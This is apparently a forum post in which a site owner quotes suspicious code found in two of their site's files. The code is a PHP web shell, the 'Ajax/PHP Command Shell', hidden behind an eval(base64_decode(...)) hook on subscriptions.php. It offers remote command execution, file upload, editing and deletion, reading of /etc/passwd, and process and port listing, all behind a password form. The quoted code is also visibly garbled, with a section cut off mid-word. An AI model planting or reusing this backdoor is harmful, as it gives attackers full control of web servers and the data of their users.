[mdrs2]

I don't know what do they do honestly ! Anyway i disabled both of them and nothing happened at all
the both have same content as i quote here

PHP Code:

if (strpos($_SERVER['PHP_SELF'],"subscriptions.php")) { 

eval(base64_decode('session_start();

error_reporting(0);



$version = "0.7B";

$functions = array('Clear Screen' => 'ClearScreen()',
'Clear History' => 'ClearHistory()',
'Can I function?' => "runcommand('canirun','GET')",
'Get server info' => "runcommand('showinfo','GET')",
'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')",
'Open ports' => "runcommand('netstat -an | grep -i listen','GET')",
'Running processes' => "runcommand('ps -aux','GET')",
'Readme' => "runcommand('shellhelp','GET')"

);
$thisfile = basename(__FILE__);

$style = '<style type="text/css">
.cmdthing {
    border-top-width: 0px;
    font-weight: bmLHTTP");
            } catch (e){
                alert("Wicked error, nothing we can do about it...");
                return false;
            }
        }
    }
    ajaxRequest.onreadystatechange = function(){
        if(ajaxRequest.readyState == 4){
        outputcmd = "<pre>"  + outputcmd + ajaxRequest.responseText +"</pre>";
            document.getElementById('output').innerHTML = outputcmd;
            var objDiv = document.getElementById("output");
			objDiv.scrollTop = objDiv.scrollHeight;
        }
    }
    ajaxRequest.open(action, "?runcmd="+urltoopen , true);
	if(action == "GET")
	{
    ajaxRequest.send(null);
	}
    document.cmdform.command.value='';
    return false;
}

function set_tab_html(newhtml)
{
document.getElementById('commandtab').innerHTML = newhtml;
}

function set_tab(newtab)
{
	if(newtab == "cmd")
	{
		newhtml = '&nbsp;&nbsp;&nbsp;<form name="cmdform" onsubmit="return runcommand(document.cmdform.command.value,\'GET\');"><b>Command</b>: <input type=text name=command class=cmdthing size=100%><br></form>';
	}
	else if(newtab == "upload")
	{
		runcommand('upload','GET');
		newhtml = '<font size=0><b>This will reload the page... :(</b><br><br><form enctype="multipart/form-data" action="<?php print $ThisFile; ?>" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="10000000" />Choose a file to upload: <input name="uploadedfile" type="file" /><br /><input type="submit" value="Upload File" /></form></font>';
	}
	else if(newtab == "workingdir")
	{
		<?php
		$folders = "<form name=workdir onsubmit=\"return runcommand(\'changeworkdir \' + document.workdir.changeworkdir.value,\'GET\');\"><input size=80% type=text name=changeworkdir value=\"";
		$pathparts = explode("/",realpath ("."));
		foreach($pathparts as $folder)
		{
		$folders .= $folder."/";
		}
		$folders .= "\"><input type=submit value=Change></form><br>Script directory: <i style=\"cursor:crosshair\"  onclick=\"document.workdir.changeworkdir.value=\'".dirname(__FILE__)."\'>".dirname(__FILE__)."</i>";

		?>
		newhtml = '<?php print $folders; ?>';
	}
	else if(newtab == "filebrowser")
	{
		newhtml = '<b>File browser is under construction! Use at your own risk!</b> <br>You can use it to change your working directory easily, don\'t expect too much of it.<br>Click on a file to edit it.<br><i>[W]</i> = set directory as working directory.<br><i>[D]</i> = delete file/directory';
		runcommand('listdir .','GET');
	}
	else if(newtab == "createfile")
	{
		newhtml = '<b>File Editor, under construction.</b>';
		document.getElementById('output').innerHTML = "<form name=\"saveform\"><textarea cols=70 rows=10 id=\"area1\"></textarea><br><input size=80 type=text name=filetosave value=\"<?php print realpath('.')."/".rand(1000,999999).".txt"; ?>\"><input value=\"Save\" type=button onclick=\"SaveFile();\"></form>";
		
	}
		document.getElementById('commandtab').innerHTML = newhtml;
}
</script>
</head>
<body bgcolor=black onload="sf();" vlink=white alink=white link=white>
<table border=1 width=100% height=100%>
<td width=15% valign=top>

<form name="extras"><br>
<center><b>Quick Commands</b><br>

<div style='margin: 0px;padding: 0px;border: 1px inset;overflow: auto'>
<?php
foreach($functions as $name => $execute)
{
print '&nbsp;<input type="button" value="'.$name.'" onclick="'.$execute.'"><br>';
}
?>

</center>

</div>
</form>
<center><b>Command history</b><br></center>
<div id="history" style='margin: 0px;padding: 0px;border: 1px inset;width: 100%;height: 20%;text-align: left;overflow: auto;font-size: 10px;'></div>
<br>
<center><b>About</b><br></center>
<div style='margin: 0px;padding: 0px;border: 1px inset;width: 100%;text-align: center;overflow: auto; font-size: 10px;'>
<br>
<b><font size=3>Ajax/PHP Command Shell</b></font><br>by Ironfist
<br>
Version <?php print $version; ?>

<br>
<br>

<br>Thanks to everyone @ 
<a href="http://www.ironwarez.info" target=_blank>SharePlaza</a>
<br>
<a href="http://www.milw0rm.com" target=_blank>milw0rm</a>
<br>
and special greetings to everyone in rootshell
</div>

</td>
<td width=70%>
<table border=0 width=100% height=100%><td id="tabs" height=1%><font size=0>
<b style="cursor:crosshair" onclick="set_tab('cmd');">[Execute command]</b> 
<b style="cursor:crosshair" onclick="set_tab('upload');">[Upload file]</b> 
<b style="cursor:crosshair" onclick="set_tab('workingdir');">[Change directory]</b> 
<b style="cursor:crosshair" onclick="set_tab('filebrowser');">[Filebrowser]</b> 
<b style="cursor:crosshair" onclick="set_tab('createfile');">[Create File]</b> 

</font></td>
<tr>
<td height=99% width=100% valign=top><div id="output" style='height:100%;white-space:pre;overflow:auto'></div>

<tr>
<td  height=1% width=100% valign=top>
<div id="commandtab" style='height:100%;white-space:pre;overflow:auto'>
&nbsp;&nbsp;&nbsp;<form name="cmdform" onsubmit="return runcommand(document.cmdform.command.value,'GET');">
<b>Command</b>: <input type=text name=command class=cmdthing size=100%><br>
</form>
</div>
</td>
</table>
</td>
</table>
</body>
</html>
<?php
}
} else {
print "<center><table border=0  height=100%>
<td valign=middle>
<form action=".basename(__FILE__)." method=POST>You are not logged in, please login.<br><b>Password:</b><input type=password name=p4ssw0rD><input type=submit value=\"Log in\">
</form>";
}'));

exit; 
}